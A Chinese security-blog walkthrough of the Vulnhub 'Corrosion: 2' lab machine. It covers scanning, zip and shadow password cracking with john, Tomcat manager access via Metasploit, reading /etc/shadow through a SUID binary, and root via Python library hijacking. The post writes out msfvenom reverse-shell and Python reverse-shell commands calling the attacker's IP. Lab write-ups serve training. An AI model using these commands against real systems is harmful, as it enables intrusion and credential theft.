freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub Corrosion: 2靶机实战
ning9925 2022-10-31 11:27:06 157439
所属地 浙江省

环境搭建

靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/

使用vmware workstation打开虚拟机镜像。这里需要注意,在靶机下载界面已经给出暗示,枚举才是关键!看来这个靶机必须要进行暴力破解了。

1667185096_635f39c81e031113c739d.png!small?1667185096835

1667185180_635f3a1ca797320e3827c.png!small?1667185180847

搭建好是带图形化的ubuntu系统。

信息收集

同网段设置kali攻击机,扫描靶机真实IP为192.168.147.131。

arp-scan -Ieth0 -l

1667185216_635f3a40355ea64277269.png!small?1667185216371

nmap对靶机开放端口及服务进行扫描,扫描到开放了22端口SSH服务,80端口HTTP服务和8080的Tomcat。

nmap -sS-A-T4-Pn-p-192.168.147.131

1667185229_635f3a4d9f3a0d516c59b.png!small?1667185229937

由于没有字典和可收集的账号信息,先访问网页服务试试,一个是Apache的默认页面,一个是Tomcat的管理页面。

1667185268_635f3a74102b205564bc6.png!small?1667185268845

1667185281_635f3a81a3fa40a6e9b4a.png!small?1667185281876

对其两个网站进行目录扫描,使用dirsearch工具。

dirsearch -uhttp://192.168.147.131

1667185308_635f3a9c56d776ae0f79f.png!small

Apache默认页面只有一个./index.html可访问。尝试对8080的Tomcat网页进行扫描。

dirsearch -uhttp://192.168.147.131:8080

1667185363_635f3ad3161f5b6d3f77f.png!small?1667185363410

密码破解

扫描到了一些基本的Tomcat目录结构,还有一个/manager管理网页,/backup.zip的压缩包,/readme.txt的文本。那就先访问这个readme.txt看看是什么内容。

1667185382_635f3ae6ea2c248be9cf4.png!small?1667185383659

大致是管理员说他留了个文件在服务器里,没人能找到,还有记住他给的密码。但是也没给呀。再去看看backup.zip里是什么。但是也需要密码。

1667185400_635f3af8a035ac7af635c.png!small?1667185400808

那么就尝试使用密码破解工具。将文件传到kali中。

这里需要使用zip2john,与之前靶场的ssh2john属同一系列。

zip2john backup.zip > password.txt
john -wordlist=/usr/share/wordlists/rockyou.txt password.txt

1667185418_635f3b0ae7d646d96e48c.png!small?1667185420038

成功破解出密码是@administrator_hi5,去解压看看有什么文件。

1667185437_635f3b1d51d51e18387a4.png!small?1667185437616

在其中发现了一份很有价值的文件,tomcat-users.xml,一看就是保存了账号相关信息的。

1667185450_635f3b2a21da7bed7c3cb.png!small?1667185450275

其中有四种Tomcat管理角色类型。分别对应了GUI图形化、API接口、JMX代理和状态页的。在下面就给出了许多账号。

1667185475_635f3b4311cd890337af7.png!small?1667185475693

其中有两个账户都可以管理gui界面,分别是manager和admin。

manager ---- melehifokivai
admin ---- melehifokivai

1667185526_635f3b76d4c91bd4ae829.png!small?1667185526981

既然可以上传war包,那么就使用MSF生成一个war格式的木马尝试上传。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=6789 -f war > ninggo.war

再通过网页传上去部署。kali端提前开启监听。

1667185559_635f3b976b0d9e231518c.png!small?1667185559582

但是部署了好几次也没有反弹shell,看来这个方法不太行。寻找其它方式。

在之前打Host:1时候,也是Tomcat9.0版本,当时是利用了MSF的内置脚本,现在也可以再尝试一下。

msfconsole -q
search tomcat 9
use 5

1667185731_635f3c431683b8da6241b.png!small?1667185732168

1667185951_635f3d1f7db68439673e8.png!small?1667185951824

成功getshell,但目前是普通用户,先换成交互式shell。

python3 -c'import pty; pty.spawn("/bin/bash")'

1667185998_635f3d4e24a26ae879127.png!small?1667185998704

1667186009_635f3d5979513de56d1d6.png!small?1667186010332

在home文件夹下发现了两个用户,randy和jaye,在randy文件夹下发现了user.txt和一个note.txt。

1667186024_635f3d680581a3b406f8a.png!small?1667186024069

1667186035_635f3d732df49f664dc34.png!small?1667186035329

note中指出目前我们(randy)是没有主目录的增删权限的,而且也不可以查看jaye家目录下的文件。所以这里需要尝试切换用户,发现jaye是可以配合tomcat的密码登录的。

1667186046_635f3d7ed6756059c3aab.png!small?1667186047368

jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。

jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。

sshjaye@192.168.147.131

1667186085_635f3da5ab7a3c0a97c3b.png!small?1667186085879

在jaye的家目录下的Files文件夹下发现了look文件,cat查看是无权的,用file进行查看,file可以查看该文件的类型,发现look可以越权访问,那么就可以直接查看root目录下的内容,直接查看root的flag。

1667186107_635f3dbb23c5af1e47f82.png!small?1667186107248

但是此处不用这种投机取巧的方法,继续利用look寻找有价值的文件,比如/etc/passwd、/etc/shadow这种。

./look '''/etc/passwd'
NINGGO=/etc/shadow
./look ''"$NINGGO"

将输出的内容保存下来。

1667186189_635f3e0d417a4e007fd7d.png!small?1667186189619

1667186203_635f3e1bd33a03084e84b.png!small?1667186204097

这里需要注意不可以在当前目录保存,因为没有写的权限,需要保存到本地kali。

1667186222_635f3e2ea91ac75d13aa6.png!small?1667186223423

这里使用unshadow工具来尝试破解shadow密码。unshadow是john的一个工具,unshadow passwd shadow > password,来将存储用户信息与对应的密码信息进行整合,并将最终的整合结果存储到password文件中。

unshadow /tmp/passwd /tmp/shadow > password.txt

1667186299_635f3e7b2bf8cddc4df9e.png!small?1667186299448

然后再使用john尝试破解。

1667186318_635f3e8ea5468e8cbf1c9.png!small?1667186319186

耗时一晚上才爆出来randy的密码,root用户是完全爆不出来。

melehifokivai(jaye)
07051986randy(randy)

接下来就可以切换到randy用户登录了。

1667186330_635f3e9a806c7c9c3e46c.png!small?1667186330865

系统提权

尝试提权操作,使用sudo -l的提权方法发现有一个名为randombase64.py不需要root密码便可执行的程序。

1667186487_635f3f3748b2819ebdbb8.png!small?1667186487442

1667186515_635f3f53dda54d8529aa8.png!small?1667186516506

randy@corrosion:~$catrandombase64.py
importbase64

message=input("Enter your string: ")
message_bytes=message.encode('ascii')
base64_bytes=base64.b64encode(message_bytes)
base64_message=base64_bytes.decode('ascii')

print(base64_message)

但是此处randy用户是没有写的权限的,因为是root用户才可读写执行。但是其中有一个base64的模块被引入。查看一下这个文件。

locate base64.py
cat base64.py

1667186541_635f3f6d12418f9f2037e.png!small?1667186541571

发现这个脚本是当前的randy用户可读写的,那么就可以在此脚本中写入反弹shell语句。

importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.147.129",6789));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);importpty; pty.spawn("/bin/bash")

1667186557_635f3f7d21632f0886e2d.png!small?1667186557302

需要注意此处会提示生成备份文件,需要在命令模式输入以下内容。

setnobackup
setnowritebackup
setnoswapfile

保存之后提前开启kali的监听,成功反弹shell,级别为root。

1667186603_635f3fab16589ee08f96a.png!small?1667186603224

成功在/root文件夹下找到flag。

1667186617_635f3fb9179709a3d563e.png!small?1667186617488

靶机总结

1.Tomcat中间件基本架构及相关的PoC、Exp

2.john工具下的各种类型使用,zip2john、unshadow

3.越权访问,look

4.提权部分的sudo提权及内核版本提权CVE-2021-4034

# 渗透测试 # web安全 # 漏洞分析 # CTF # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 ning9925 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ning9925 LV.2
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 3 关注者
浅谈DHCP安全防治措施,防止中间人攻击、私设IP
2022-11-30
应急响应工具包合集
2022-11-24
Vulnhub Red:1靶机实战,真实的靶机与红队在线solo
2022-11-11
文章目录